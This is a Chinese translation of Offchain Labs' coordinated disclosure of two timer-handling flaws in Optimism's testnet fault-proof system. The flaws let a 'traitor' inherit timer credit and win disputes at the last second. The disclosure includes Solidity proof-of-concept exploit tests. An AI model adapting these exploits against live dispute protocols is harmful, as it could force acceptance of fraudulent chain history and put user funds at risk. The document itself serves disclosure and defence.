Offchain Labs团队向OP Labs团队披露了Optimism欺诈证明系统中存在的两个严重安全漏洞,这些漏洞允许恶意方强制OP Stack欺诈证明机制接受欺诈性的链历史,或阻止其接受正确的链历史。漏洞源于OP欺诈证明设计处理定时器的方式的缺陷。文章还简要介绍了Arbitrum的BoLD协议如何通过详细的威胁模型和安全证明来避免此类攻击。
3月22日,我们在 Offchain Labs 的团队向 OP Labs 团队披露了我们在 Optimism 欺诈证明系统中发现的两个严重安全漏洞,该系统已部署在测试网上。我们向 OP Labs 团队提供了攻击的演示利用代码。3月25日,OP Labs 确认了这两个问题的有效性。
我们与 OP Labs 团队协调了我们的披露。OP Labs 要求我们推迟公开披露漏洞,直到它们得到解决。昨天晚些时候(4月25日),Optimism 测试网已更新,我们今天首次披露这些漏洞。
这些漏洞允许恶意方强制 OP Stack 欺诈证明机制接受欺诈性链历史记录,或阻止 OP Stack 欺诈证明机制接受正确的链历史记录。这些问题源于 OP 欺诈证明设计处理计时器的方式存在缺陷。
结果是,与完全依赖安全委员会的紧急干预的方法相比,欺诈证明系统并没有提高安全保证。
漏洞的性质
计时器是交互式欺诈证明设计中最微妙的方面之一。对抗方可能根本不会在挑战游戏中采取行动,因此协议需要在某个时候声明不行动的玩家因超时而失败。但是,对手还可以对父 L1 链(例如以太坊)使用审查攻击,以防止诚实方在游戏中采取行动。
如果时间在流逝并且玩家没有采取行动,则协议无法判断该玩家是被审查还是不良行为者保持沉默并假装被审查。(在这两种情况下,协议仅看到来自玩家的“无线电静默”。)因此,协议必须给诚实玩家足够的时间余地,以使其不会因审查而失败,同时又防止恶意玩家将协议延迟太长时间。
例如,在一方对一方的挑战协议中,争议的每一方都有一名玩家,Arbitrum 当前部署的协议使用的方法效果很好。以下是理解该方法的一种直观方式:每个玩家在轮到另一个玩家行动时都会获得“时间信用”,如果一个玩家累积了7天的时间信用,则由于时间原因而赢得挑战。想法是,如果一个玩家“延迟行动”总共7天,那么所有延迟都归因于审查是不合理的,因此可以将该玩家视为不诚实——可以安全地声明该玩家为失败者。这使得一对一协议可以安全地抵御长达7天的审查。
当争议的每一方只有一名玩家时,这种方法效果很好。但是,当你允许多个玩家参与时(如 Optimism 所做的那样),如何管理时间信用就不是很明显了。将玩家分成两队,每队在争议的一方,并为每队分配时间信用是很诱人的。但是你需要小心叛徒攻击,恶意方可能会假装诚实一段时间,只是在最糟糕的时刻背叛其诚实的“队友”。
最初部署在测试网上的 OP 协议容易受到此类叛徒攻击的影响,因为它允许叛徒获得其不应获得的时间信用。这将使恶意行为者赢得其应该输掉的欺诈证明游戏,从而接受欺诈性链历史记录或拒绝正确的链历史记录。
这些问题很难解决,尽管 OP 最初的设计容易受到微妙的攻击,但他们对计时器处理代码进行了一些更改,从而解决了我们提供的演示利用。目前,我们尚未对其修改后的协议进行安全分析。
处理计时器、叛徒和其他攻击
欺诈证明协议,尤其是其时间安排方面,非常难以设计。这就是为什么我们的 BoLD 协议 附带了一份 技术论文,其中详细说明了威胁模型以及 BoLD 协议不易受到此类叛徒攻击的证明。鉴于这些问题的复杂性和微妙性,我们认为需要一个明确的威胁模型和安全证明,以确保不存在潜在的攻击。事实上,在创建证明的过程中,我们发现并修复了 BoLD 协议中的一个以上的问题。
最初的安全披露
以下是我们于3月22日发送给 OP Labs 的披露的扩展摘录:
我们(Offchain Labs 团队)发现在当前版本的 OP Stack 故障证明系统中存在严重的系统性缺陷。本文档描述了这些缺陷,并提供了示例利用代码供你参考。
这些缺陷将允许攻击者通过使协议接受欺诈性声明,或通过使协议拒绝正确的声明,或通过创建无法在 L1 gas 限制内解决的争议来破坏链的安全性并阻止链的活跃性。 [注(4月26日):第三个问题(无法解决的争议)原来是已知的且已公开记录,因此我们将删除对此的进一步提及。]
[…]
我们认为,如果你的当前协议部署在主网上,将会使用户资金面临极高的风险。
缺陷的性质
一些缺陷似乎源于故障证明系统中计时器的管理方式。简而言之,计时器从祖父声明的继承允许恶意行为者做出的声明从先前由诚实行为者做出的声明中继承计时器信用,从而人为地夸大恶意声明的计时器信用,以至于恶意行为者可以赢得挑战。例如,恶意行为者可以安排继承仅略低于声明胜利所需的计时器信用;然后在任何其他方能够做出回应之前,由于时间原因而宣布胜利。
[…]
示例利用
以下是一组示例利用,用于演示这些攻击。
第一个利用 ( test_exploit_last_second_challenge
) 允许攻击者击败诚实的声明。
第二个利用 ( test_exploit_last_second_defend
) 允许攻击者接受欺诈性声明。
[…]
这些利用似乎可以针对提交 96a269bc793fa30c3e2aa1a8afd738e4605fa06e
上的最新版本的 OP stack 欺诈证明系统工作
contract POC {
// Add these tests to FaultDisputeGame.t.sol
// 将这些测试添加到 FaultDisputeGame.t.sol
/// @dev Last second challenge exploit - High severity, liveliness failure
/// The honest proposer created an honest claim
/// The exploiter waits until the last second to challenge the root claim
/// @dev 最后一秒挑战利用 - 高风险,活跃性失败
/// 诚实的提议者创建了一个诚实的声明
/// 利用方等到最后一秒才挑战根声明
function test_exploit_last_second_challenge() public {
// The honest proposer created an honest root claim during setup - node 0
// 诚实的提议者在设置期间创建了一个诚实的根声明 - 节点 0
// The exploiter waits until the last second of the 3.5 days challenge period
// 利用方等到 3.5 天挑战期的最后一秒
vm.warp(block.timestamp + 3 days + 12 hours);
// The exploiter makes an attack move to the root claim
// 利用方对根声明进行攻击
gameProxy.attack{ value: MIN_BOND }(0, _dummyClaim()); // Exploiter's move - node 1
// Node 1 is created with duration (block.timestamp - parent.timestamp) = `3 days + 12 hours`
// 节点 1 的创建持续时间为 (block.timestamp - parent.timestamp) = `3 days + 12 hours`
// Advance time by 1 second, so it is now past the challenge period
// 将时间提前 1 秒,使其现在超过挑战期
vm.warp(block.timestamp + 1 seconds);
vm.expectRevert(ClockTimeExceeded.selector); // no further move can be made
// 预计会恢复 ClockTimeExceeded.selector;// 无法再采取进一步行动
gameProxy.attack{ value: MIN_BOND }(0, _dummyClaim());
// Node 1 can actually be attacked here, and would block the resolution of node 0
// 节点 1 实际上可以在此处被攻击,并且会阻止节点 0 的解决
// but the attacker only needs to censor one L1 block to prevent that
// 但攻击者只需要审查一个 L1 块即可防止这种情况
// Resolve the game
// 解决游戏
// // Optional Step, node 1 is resolved as UNCOUNTERED by default since it has no child
// // 可选步骤,默认情况下,节点 1 被解析为 UNCOUNTERED,因为它没有子节点
// gameProxy.resolveClaim(1); // Node 1 is resolved as UNCOUNTERED since it has no UNCOUNTERED child
// // 节点 1 被解析为 UNCOUNTERED,因为它没有 UNCOUNTERED 子节点
gameProxy.resolveClaim(0); // Node 0 is resolved as COUNTERED since it has an UNCOUNTERED child
// 节点 0 被解析为 COUNTERED,因为它有一个 UNCOUNTERED 子节点
// Defender lost the game since the root claim is countered
// 由于根声明被反驳,防守者输掉了游戏
assertEq(uint8(gameProxy.resolve()), uint8(GameStatus.CHALLENGER_WINS));
}
/// @dev Last second defend exploit - Critical severity, safety failure
/// The malicious proposer created a malicious claim
/// The honest validator tried to challenge the malicious claim
/// The exploiter waits until the last second to defend and win the game
/// @dev 最后一秒防御漏洞 - 严重风险,安全性失败
/// 恶意提议者创建了一个恶意声明
/// 诚实验证者试图挑战恶意声明
/// 利用方等到最后一秒进行防御并赢得游戏
function test_exploit_last_second_defend() public {
// The malicious proposer created a malicious root claim during setup - node 0
// 恶意提案者在设置期间创建了一个恶意根声明 - 节点 0
// The honest validator tried to challenge the malicious claim
// 诚实验证者试图挑战恶意声明
gameProxy.attack{ value: MIN_BOND }(0, _dummyClaim()); // Honest validator's move - node 1
// 诚实验证者的移动 - 节点 1
// Node 1 is created with duration (block.timestamp - parent.timestamp) = 0
// 节点 1 的创建持续时间为 (block.timestamp - parent.timestamp) = 0
// The exploiter waits until the last second of the 3.5 days challenge period
// 利用方等到 3.5 天挑战期的最后一秒
vm.warp(block.timestamp + 3 days + 12 hours);
// The exploiter makes an attack move against the honest claim (node 1)
// 利用方对诚实声明(节点 1)发起攻击
gameProxy.attack{ value: MIN_BOND }(1, _dummyClaim()); // Exploiter's move - node 2
// 利用方的移动 - 节点 2
// Node 2 is created with duration (block.timestamp - parent.timestamp) = `3 days + 12 hours`
// 节点 2 的创建持续时间为 (block.timestamp - parent.timestamp) = `3 days + 12 hours`
// Advance time by 1 second, so it is now past the challenge period
// 将时间提前 1 秒,使其现在超过挑战期
vm.warp(block.timestamp + 1 seconds);
vm.expectRevert(ClockTimeExceeded.selector); // no further move can be made
// 预计会恢复 ClockTimeExceeded.selector;// 无法再采取进一步行动
gameProxy.attack{ value: MIN_BOND }(0, _dummyClaim());
// Node 2 can actually be attacked here, and would block the resolution of node 1
// 节点 2 实际上可以在此处被攻击,并且会阻止节点 1 的解决
// but the attacker only needs to censor one L1 block to prevent that
// 但攻击者只需要审查一个 L1 块即可防止这种情况
// Resolve the game
// 解决游戏
// // Optional Step, node 2 is resolved as UNCOUNTERED by default since it has no child
// // 可选步骤,默认情况下,节点 2 被解析为 UNCOUNTERED,因为它没有子节点
// gameProxy.resolveClaim(2); // Node 2 is resolved as UNCOUNTERED since it has no UNCOUNTERED child
// // 节点 2 被解析为 UNCOUNTERED,因为它没有 UNCOUNTERED 子节点
gameProxy.resolveClaim(1); // Node 1 is resolved as COUNTERED since it has an UNCOUNTERED child
// 节点 1 被解析为 COUNTERED,因为它有一个 UNCOUNTERED 子节点
gameProxy.resolveClaim(0); // Node 0 is resolved as UNCOUNTERED since it has no UNCOUNTERED child
// 节点 0 被解析为 UNCOUNTERED,因为它没有 UNCOUNTERED 子节点
// Defender wins the game since the root claim is uncountered
// 由于根声明未被反驳,防守者赢得了游戏
assertEq(uint8(gameProxy.resolve()), uint8(GameStatus.DEFENDER_WINS));
}
// [...]
}
- 原文链接: medium.com/offchainlabs/...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!